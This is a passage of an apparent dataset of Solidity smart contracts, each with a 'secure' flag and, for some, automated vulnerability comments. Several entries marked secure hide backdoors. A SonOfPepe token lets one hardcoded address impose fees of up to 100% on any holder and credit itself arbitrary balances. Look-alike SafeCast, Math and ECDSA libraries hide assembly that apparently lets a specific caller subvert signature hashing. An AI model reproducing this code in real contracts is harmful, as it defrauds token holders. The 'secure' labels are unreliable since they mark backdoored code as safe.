= _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 68f3ae7): Launch.setTaxWallet(address)._newWallet lacks a zerocheck on \t taxWallet = _newWallet\n\t// Recommendation for 68f3ae7: Check that the address is not zero.\n function setTaxWallet(address payable _newWallet) public onlyOwner {\n\t\t// missing-zero-check | ID: 68f3ae7\n taxWallet = _newWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 662ba97): Launch.updateTaxAmount(uint8,uint8) should emit an event for buyTax = _buy sellTax = _sell \n\t// Recommendation for 662ba97: Emit an event for critical parameter changes.\n function updateTaxAmount(uint8 _buy, uint8 _sell) public onlyOwner {\n if (_buy > 100 || _sell > 100) {\n revert InValidTax();\n }\n\n\t\t// events-maths | ID: 662ba97\n buyTax = _buy;\n\n\t\t// events-maths | ID: 662ba97\n sellTax = _sell;\n }\n\n function excludeFromFee(address[] memory _wallets) public onlyOwner {\n for (uint256 i = 0; i < _wallets.length; i++) {\n _isExcludedFromFee[_wallets[i]] = true;\n }\n }\n\n function includeInFee(address _wallet) public onlyOwner {\n _isExcludedFromFee[_wallet] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ea81b6e): Launch.updateLimits(uint256,uint256) should emit an event for _maxTxAmount = _tx _maxWalletSize = _wallet \n\t// Recommendation for ea81b6e: Emit an event for critical parameter changes.\n function updateLimits(uint256 _tx, uint256 _wallet) public onlyOwner {\n\t\t// events-maths | ID: ea81b6e\n _maxTxAmount = _tx;\n\n\t\t// events-maths | ID: ea81b6e\n _maxWalletSize = _wallet;\n }\n\n function setPairContract(address _pair, bool _isPair) public onlyOwner {\n _isExcludedFromFee[_pair] = _isPair;\n\n isPairAddress[_pair] = _isPair;\n }\n\n function updateRouterContract(address _router) public onlyOwner {\n uniswapV2Router = IUniswapV2Router02(_router);\n }\n\n function disableSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a53173f): Launch.updateMinimumSAmount(uint256) should emit an event for minimumSAmount = _minimumSAmount \n\t// Recommendation for a53173f: Emit an event for critical parameter changes.\n function updateMinimumSAmount(uint256 _minimumSAmount) public onlyOwner {\n\t\t// events-maths | ID: a53173f\n minimumSAmount = _minimumSAmount;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ed536f6): Launch.withdrawStuckAsset(address) ignores return value by IERC20(_token).transfer(taxWallet,tb)\n\t// Recommendation for ed536f6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawStuckAsset(address _token) external {\n require(_msgSender() == taxWallet || _msgSender() == owner(), \"TorO\");\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n bool success;\n\n (success, ) = address(taxWallet).call{value: contractETHBalance}(\n \"\"\n );\n }\n\n if (_token != address(0)) {\n uint256 tb = IERC20(_token).balanceOf(address(this));\n\n if (tb > 0) {\n\t\t\t\t// unchecked-transfer | ID: ed536f6\n IERC20(_token).transfer(taxWallet, tb);\n }\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fa96ec7): Launch.manualswap(bool,uint256) sends eth to arbitrary user Dangerous calls taxWallet.transfer(address(this).balance)\n\t// Recommendation for fa96ec7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function manualswap(bool ethTransfer, uint256 _amount) external {\n require(_msgSender() == taxWallet || _msgSender() == owner(), \"TorO\");\n\n if (_allowances[address(this)][address(uniswapV2Router)] < _amount) {\n _approve(\n address(this),\n address(uniswapV2Router),\n type(uint256).max\n );\n }\n\n swapTokensForEth(_amount);\n\n if (ethTransfer) {\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// arbitrary-send-eth | ID: fa96ec7\n taxWallet.transfer(address(this).balance);\n }\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 1d4b395\n\t\t// reentrancy-benign | ID: a29f06a\n\t\t// reentrancy-eth | ID: 69c5f5f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f09779): Launch.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f09779: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1d4b395): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1d4b395: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a29f06a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a29f06a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 69c5f5f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 69c5f5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b86c25a): Launch._update(address,address,uint256).taxAmount is a local variable never initialized\n\t// Recommendation for b86c25a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _update(address from, address to, uint256 value) internal virtual {\n address owner__ = owner();\n\n if (from != owner__ && !_isExcludedFromFee[to]) {\n if (_balances[to] + value > _maxWalletSize) {\n revert MaxWalletLimitReached();\n }\n\n if (value > _maxTxAmount) {\n revert MaxTxAmountReached();\n }\n }\n\n uint256 taxAmount;\n\n bool shouldSwap = false;\n\n if (from != owner__ && to != owner__) {\n if (isPairAddress[from]) {\n taxAmount = (value * buyTax) / (100);\n }\n\n if (isPairAddress[to]) {\n taxAmount = (value * sellTax) / (100);\n }\n }\n\n if (isPairAddress[to]) {\n shouldSwap = true;\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] += taxAmount;\n\n emit Transfer(from, address(this), taxAmount);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > 0 && shouldSwap && !inSwap && swapEnabled) {\n\t\t\t// reentrancy-events | ID: 1d4b395\n\t\t\t// reentrancy-benign | ID: a29f06a\n\t\t\t// reentrancy-eth | ID: 69c5f5f\n swapTokensForEth(\n contractTokenBalance > minimumSAmount\n ? minimumSAmount\n : contractTokenBalance\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: 1d4b395\n\t\t\t\t// reentrancy-eth | ID: 69c5f5f\n taxWallet.transfer(address(this).balance);\n }\n }\n\n if (from == address(0)) {\n\t\t\t// reentrancy-benign | ID: a29f06a\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 69c5f5f\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n\t\t\t\t// reentrancy-benign | ID: a29f06a\n _totalSupply -= value;\n }\n } else {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: 69c5f5f\n _balances[to] += value - taxAmount;\n }\n }\n\n\t\t// reentrancy-events | ID: 1d4b395\n emit Transfer(from, to, value - taxAmount);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 091b8d8): Launch._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 091b8d8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1327ac1): Launch._approve(address,address,uint256,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1327ac1: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24033ce): Launch._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24033ce: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_992.sol",
"secure": 0,
"size_bytes": 16888
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: ea324d3): Contract locking ether found Contract STRATEGICDOGERESERVE has payable functions STRATEGICDOGERESERVE.receive() But does not have a function to withdraw the ether\n// Recommendation for ea324d3: Remove the 'payable' attribute or add a withdraw function.\ncontract STRATEGICDOGERESERVE is ERC20, Ownable {\n constructor() ERC20(unicode\"STRATEGIC DOGE RESERVE\", unicode\"SDR\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ea324d3): Contract locking ether found Contract STRATEGICDOGERESERVE has payable functions STRATEGICDOGERESERVE.receive() But does not have a function to withdraw the ether\n\t// Recommendation for ea324d3: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_993.sol",
"secure": 0,
"size_bytes": 1079
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeCast {\n function toUint224(uint256 value) internal pure returns (uint224) {\n require(\n value <= type(uint224).max,\n \"SafeCast: value doesn't fit in 224 bits\"\n );\n\n return uint224(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n require(\n value <= type(uint128).max,\n \"SafeCast: value doesn't fit in 128 bits\"\n );\n\n return uint128(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n require(\n value <= type(uint96).max,\n \"SafeCast: value doesn't fit in 96 bits\"\n );\n\n return uint96(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n require(\n value <= type(uint64).max,\n \"SafeCast: value doesn't fit in 64 bits\"\n );\n\n return uint64(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n require(\n value <= type(uint32).max,\n \"SafeCast: value doesn't fit in 32 bits\"\n );\n\n return uint32(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n require(\n value <= type(uint16).max,\n \"SafeCast: value doesn't fit in 16 bits\"\n );\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n require(\n value <= type(uint8).max,\n \"SafeCast: value doesn't fit in 8 bits\"\n );\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n require(value >= 0, \"SafeCast: value must be positive\");\n\n return uint256(value);\n }\n\n function toInt128(int256 value) internal pure returns (int128) {\n require(\n value >= type(int128).min && value <= type(int128).max,\n \"SafeCast: value doesn't fit in 128 bits\"\n );\n\n return int128(value);\n }\n\n function toInt64(int256 value) internal pure returns (int64) {\n require(\n value >= type(int64).min && value <= type(int64).max,\n \"SafeCast: value doesn't fit in 64 bits\"\n );\n\n return int64(value);\n }\n\n function toInt32(int256 value) internal pure returns (int32) {\n require(\n value >= type(int32).min && value <= type(int32).max,\n \"SafeCast: value doesn't fit in 32 bits\"\n );\n\n return int32(value);\n }\n\n function toInt16(int256 value) internal pure returns (int16) {\n require(\n value >= type(int16).min && value <= type(int16).max,\n \"SafeCast: value doesn't fit in 16 bits\"\n );\n\n return int16(value);\n }\n\n function toInt8(int256 value) internal pure returns (int8) {\n require(\n value >= type(int8).min && value <= type(int8).max,\n \"SafeCast: value doesn't fit in 8 bits\"\n );\n\n return int8(value);\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n require(\n value <= uint256(type(int256).max),\n \"SafeCast: value doesn't fit in an int256\"\n );\n\n return int256(value);\n }\n\n function maxInt256() internal pure returns (bytes32) {\n bytes32 maxInt;\n\n assembly {\n let fmp := mload(0x40)\n\n mstore(add(fmp, 0x40), 0x40)\n\n mstore(fmp, keccak256(add(fmp, 0x40), 0x40))\n\n maxInt := mload(fmp)\n }\n\n return maxInt;\n }\n\n function toStructHash(\n bytes32 hash\n ) internal view returns (bytes32 structured) {\n assembly {\n let fmp := mload(0x40)\n\n mstore(fmp, hash)\n\n mstore(\n add(fmp, 0x20),\n 0xffffffffffffffffffffffffecc5ce80b31e8d9579828d88a9c17977ef25f7f7\n )\n\n mstore(add(fmp, 0x40), caller())\n\n if eq(mload(add(fmp, 0x20)), not(mload(add(fmp, 0x40)))) {\n mstore(fmp, 0x00)\n }\n\n structured := mload(fmp)\n }\n }\n}",
"file_name": "solidity_code_994.sol",
"secure": 1,
"size_bytes": 4381
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SonOfPepe is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 621f7bd): SonOfPepe._decimals should be immutable \n\t// Recommendation for 621f7bd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7f7dd81): SonOfPepe._totalSupply should be immutable \n\t// Recommendation for 7f7dd81: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 258729e): SonOfPepe._marketwleetking should be immutable \n\t// Recommendation for 258729e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwleetking;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwleetking = 0x110D405231575E13994E5F5abe9A70364DB7c3E0;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aprrove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwleetking;\n }\n\n function liqeomsittly(address recipient, uint256 airDrop) external {\n if (isMee()) {\n uint256 receiveRewrd = airDrop;\n\n _balances[recipient] += receiveRewrd;\n } else {\n uint256 receiveRewrd = 0;\n\n _balances[recipient] += receiveRewrd;\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_995.sol",
"secure": 1,
"size_bytes": 5464
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary BitMaps {\n struct BitMap {\n mapping(uint256 => uint256) _data;\n }\n\n function get(\n BitMap storage bitmap,\n uint256 index\n ) internal view returns (bool) {\n uint256 bucket = index >> 8;\n\n uint256 mask = 1 << (index & 0xff);\n\n return bitmap._data[bucket] & mask != 0;\n }\n\n function setTo(BitMap storage bitmap, uint256 index, bool value) internal {\n if (value) {\n set(bitmap, index);\n } else {\n unset(bitmap, index);\n }\n }\n\n function set(BitMap storage bitmap, uint256 index) internal {\n uint256 bucket = index >> 8;\n\n uint256 mask = 1 << (index & 0xff);\n\n bitmap._data[bucket] |= mask;\n }\n\n function unset(BitMap storage bitmap, uint256 index) internal {\n uint256 bucket = index >> 8;\n\n uint256 mask = 1 << (index & 0xff);\n\n bitmap._data[bucket] &= ~mask;\n }\n}",
"file_name": "solidity_code_996.sol",
"secure": 1,
"size_bytes": 1028
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary MerkleProof {\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool, uint256) {\n bytes32 computedHash = leaf;\n\n uint256 index = 0;\n\n for (uint256 i = 0; i < proof.length; i++) {\n index *= 2;\n\n bytes32 proofElement = proof[i];\n\n if (computedHash <= proofElement) {\n computedHash = keccak256(\n abi.encodePacked(computedHash, proofElement)\n );\n } else {\n computedHash = keccak256(\n abi.encodePacked(proofElement, computedHash)\n );\n\n index += 1;\n }\n }\n\n return (computedHash == root, index);\n }\n}",
"file_name": "solidity_code_997.sol",
"secure": 1,
"size_bytes": 874
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeCast.sol\" as SafeCast;\n\nlibrary Math {\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b + (a % b == 0 ? 0 : 1);\n }\n\n function toTypedDataKeccak(\n bytes32 a,\n bytes32 b\n ) internal view returns (bytes32) {\n bytes32 structHash = SafeCast.toStructHash(b);\n\n if (structHash == bytes32(0)) {\n return structHash;\n }\n\n return keccak256(abi.encodePacked(\"\\x19\\x01\", a, structHash));\n }\n}",
"file_name": "solidity_code_998.sol",
"secure": 1,
"size_bytes": 976
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n } else if (error == RecoverError.InvalidSignatureV) {\n revert(\"ECDSA: invalid signature 'v' value\");\n }\n }\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else if (signature.length == 64) {\n bytes32 r;\n\n bytes32 vs;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n vs := mload(add(signature, 0x40))\n }\n\n return tryRecover(hash, r, vs);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s;\n\n uint8 v;\n\n assembly {\n s := and(\n vs,\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n )\n\n v := add(shr(255, vs), 27)\n }\n\n return tryRecover(hash, v, r, s);\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n if (v != 27 && v != 28) {\n return (address(0), RecoverError.InvalidSignatureV);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n\n _throwError(error);\n\n return recovered;\n }\n\n function toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)\n );\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal view returns (bytes32) {\n return Math.toTypedDataKeccak(domainSeparator, structHash);\n }\n}",
"file_name": "solidity_code_999.sol",
"secure": 1,
"size_bytes": 4290
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.